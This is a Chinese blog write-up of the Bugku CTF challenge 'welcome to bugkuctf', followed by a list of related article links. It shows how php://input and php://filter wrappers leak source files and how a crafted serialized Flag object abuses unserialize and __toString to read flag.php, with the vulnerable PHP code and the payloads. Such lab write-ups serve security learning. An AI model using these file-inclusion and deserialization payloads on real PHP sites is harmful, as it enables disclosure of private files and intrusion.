记bugku的——“welcome to bugkuctf”
今天终于拾起来ctf的比赛了,开始了练习之旅。今天写一道bugku上的题目wp,属于利用php源码泄漏的题目吧,我觉得不是很简单。。。所以把自己的思路放上来。
题目源头:http://120.24.86.145:8006/test1/
题目打开后得到如下的信息,查看源码后发现
很显然想让我们利用源码去得到flag。这里我们稍微解释下这个源码的意思。
开始有三个变量:user,file,pass,但是我们发现这里的pass也就是password没有什么用,所以我们重点关注前两个变量。看下面的条件
(1)这里isset的意思是查看变量是否存在,即user不能为空。
(2)
file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)。
(3)后面提示了我们所以我们要在满足条件之后读取file=hint.php。
知道了以上的三个条件后我们就可以做第一步了,就是如何满足他们的条件!?
这里就要使用php伪协议了。这道题目为了解决第二个条件,要用到 “php://input”协议。大致的意思是让 txt=php://input ,之后在post过去一个字符串
(当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取)类似(PS:此时payload还不完整还不能执行哈)
简单来说就是将指定字符串作为文件传给txt,然后再将user的内容读出来。此时我们就满足了。
之后我们得到了
此时根据提示我们可以把包含的文件读出来了,这里要用到php的第二个伪协议:php://filter
这里放上一个写的详细的blog(关于filter的)http://blog.csdn.net/wy_97/article/details/77431111
即 txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php(简单来说就是利用伪协议读取所包含文件的base64值)得到
解码得到:
- #hint.php
- <?php
- class Flag{//flag.php
- public $file;
- public function __tostring(){
- if(isset($this->file)){
- echo file_get_contents($this->file);
- echo "<br>";
- return ("good");
- }
- }
- }
- ?>
之后可以继续利用伪协议读取一下index.php源码
- #index.php
- <?php
- $txt = $_GET["txt"];
- $file = $_GET["file"];
- $password = $_GET["password"];
- if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
- echo "hello friend!<br>";
- if(preg_match("/flag/",$file)){
- echo "不能现在就给你flag哦";
- exit();
- }else{
- include($file);
- $password = unserialize($password);
- echo $password;
- }
- }else{
- echo "you are not the number of bugku ! ";
- }
- ?>
- <!--
- $user = $_GET["txt"];
- $file = $_GET["file"];
- $pass = $_GET["password"];
- if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
- echo "hello admin!<br>";
- include($file); //hint.php
- }else{
- echo "you are not admin ! ";
- }
- -->
在index里我们能读出来:
(1)在hint.php中我们看到了,所以我们把index.php改成flag.php看看会有什么结果,发现
这个乱码在index.php中我们发现是
所以我们不能直接读flag.php。在index中我们看到这个意思是file中如果包含‘flag’,那么就会给你退出。所以我们要想其他办法读flag.php
(2)我们载去找有用的信息,发现这个else写到如果我的file不包含‘flag’,那么我就会把那个文件包含进来,之后将password反序列化一下。并输出password的结果。而我们根据上面的hint.php发现,
- #hint.php
- <?php
- class Flag{//flag.php
- public $file;
- public function __tostring(){
- if(isset($this->file)){
- echo file_get_contents($this->file);
- echo "<br>";
- return ("good");
- }
- }
- }
- ?>
我们发现当Flag方法当做字符串执行时,会自动执行 __tostring 方法,方法中写了如果file文件存在,那么就输出file文件中的内容。
这不正是我们要解决的输出flag.php内容的情况吗???所以我们要构造一个Flag类型的参数,并把这个参数传给password然后get进去。并且这个file的值要是hint.php(因为要利用hint.php中的函数),即:————根据php序列化的结果
- <?php
- class Flag{
- public $file;
- }
- $a = new Flag();
- $a->file = "flag.php";
- $a = serialize($a);
- print_r($a);
- ?>
得到: O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 传入
得到
至此这道题目结束。不过应该会有同学问为何payload中有index.php,,我觉得index.php是默认的页面,不然你没有办法传给php页面参数,所以应该属于一种套路吧,记住就好。。。。
作为菜鸡,还要继续努力啊:)
记bugku的——“welcome to bugkuctf”的更多相关文章
- bugku welcome to bugkuctf
题目地址:http://123.206.87.240:8006/test1/ 这道题主要用到了俩个知识点:php伪协议和序列化 点进题目看到:you are not the number of bug ...
- Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用)
Day24 welcome to bugkuctf http://123.206.87.240:8006/test1/ 本题要点:代码审计,PHP://filter , php://input , ...
- BugkuCTF 域名解析
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- http://www.bugku.com:Bugku——PHP伪协议+魔幻函数+序列化的综合应用(http://120.24.86.145:8006/test1/)
这一道题目,幸好俺有基础知识护体,不然还真干不掉. 首先,登录看题目,取消隐藏代码的注释.可知可输入三个参数txt.file和password并进行逻辑判断:应该让txt==‘welcom ...
- bugku web所有writeup_超详细讲解_持续更新
首先说一下我的主用工具,在windows下,主要是用这些,用到其他特定的工具会在题里说. 0.浏览器:火狐,配合Max hackbar插件 (这个是免费的) 1.抓包改包:burpsuite.http ...
- Bugku web(1—35)
1.web2 打开网页: 哈哈,其实按下F12你就会发现flag. 2.计算器 打开网页,只是让你输入计算结果,但是发现只能输入一个数字,这时按下F12,修改一下参数,使之可以输入多个数字,修改后输入 ...
- BugkuCTF——wp(旧版)
title: BugkuCTF--wp(旧版) date: 2020-4-25 tags: CTF,比赛 categories: CTF 比赛 Web篇 0x001-web2 解题思路: 1.直接按F ...
- Spark踩坑记——Spark Streaming+Kafka
[TOC] 前言 在WeTest舆情项目中,需要对每天千万级的游戏评论信息进行词频统计,在生产者一端,我们将数据按照每天的拉取时间存入了Kafka当中,而在消费者一端,我们利用了spark strea ...
- Spark踩坑记——数据库(Hbase+Mysql)
[TOC] 前言 在使用Spark Streaming的过程中对于计算产生结果的进行持久化时,我们往往需要操作数据库,去统计或者改变一些值.最近一个实时消费者处理任务,在使用spark streami ...
随机推荐
- 微软2016校园招聘在线笔试 B Professor Q's Software [ 拓扑图dp ]
传送门 题目2 : Professor Q's Software 时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 Professor Q develops a new s ...
- 安装mysql时出现应用程序无法正常启动(0xc000007b)、初始化失败以及密码忘记怎样重置?
https://blog.csdn.net/zztingfeng/article/details/80155624
- 洛谷—— P3372 【模板】线段树 1
P3372 [模板]线段树 1 题目描述 如题,已知一个数列,你需要进行下面两种操作: 1.将某区间每一个数加上x 2.求出某区间每一个数的和 输入输出格式 输入格式: 第一行包含两个整数N.M,分别 ...
- HDU 1558
输入线段的两个短点,如果线段相交那么他们属于一个集合,查看第i条线段所在的集合有几条线段. 好久没码码了,总是各种蠢. 首先找出两条直线的方程,求解相交点的横坐标,然后看是不是在线段内部. 没有注意题 ...
- Codeforces Round Edu 36
A.B.C 略 D(dfs+强连通分量) 题意: 给出一个n(n<=500)点m(m<=100000)边的有向图,问能否通过删去一条边使得该图无环. 分析: 最简单的想法就是枚举一条边删去 ...
- hdu 4057 Rescue the Rabbit
题意 给出n(n<=10)个串,每个串有个权值,然后让你构造一个长度为l(l<=100)的串,如果他包含给出的串就得到相应的权值,求可能得到的最大权值 解法 AC自动机+DP,很显然要建立 ...
- OpenGL蓝宝书第七章:立体天空和纹理折射、双纹理(下)
对照了蓝宝书,才知道红宝书的长处. reflect函数的原理在红宝书中有说明,仅仅有对照了红宝书,才知道红宝书的定位:高级工具书. 蓝宝书作为入门级书籍,以较快的速度让读者敲到代码去思考,总遗留了须要 ...
- linux之rsync远程数据同步备份
rsync服务是一种高效的远程数据备份的工具,该服务的port号为873, 是Liunx下的一种非独立服务.由xinetd超级服务管理,取代监听873port. 长处: 1.rsync能够利用ssh和 ...
- Git撤销&回滚操作
开发过程中.你肯定会遇到这种场景: 场景一: 糟了.我刚把不想要的代码.commit到本地仓库中了.可是还没有做push操作! 场景二: 彻底完了.刚线上更新的代码出现故障了.须要还原这次提交的代码! ...
- LINQ体验(1)——Visual Studio 2008新特性
一.写本系列的目的 我平时利用课余零碎时间来学习ASP.NET3.5.LINQ.Silverlight.ASP.NET 3.5 Extensions等新东西,通过笔记形式来记录自己所学的历 程.也给大 ...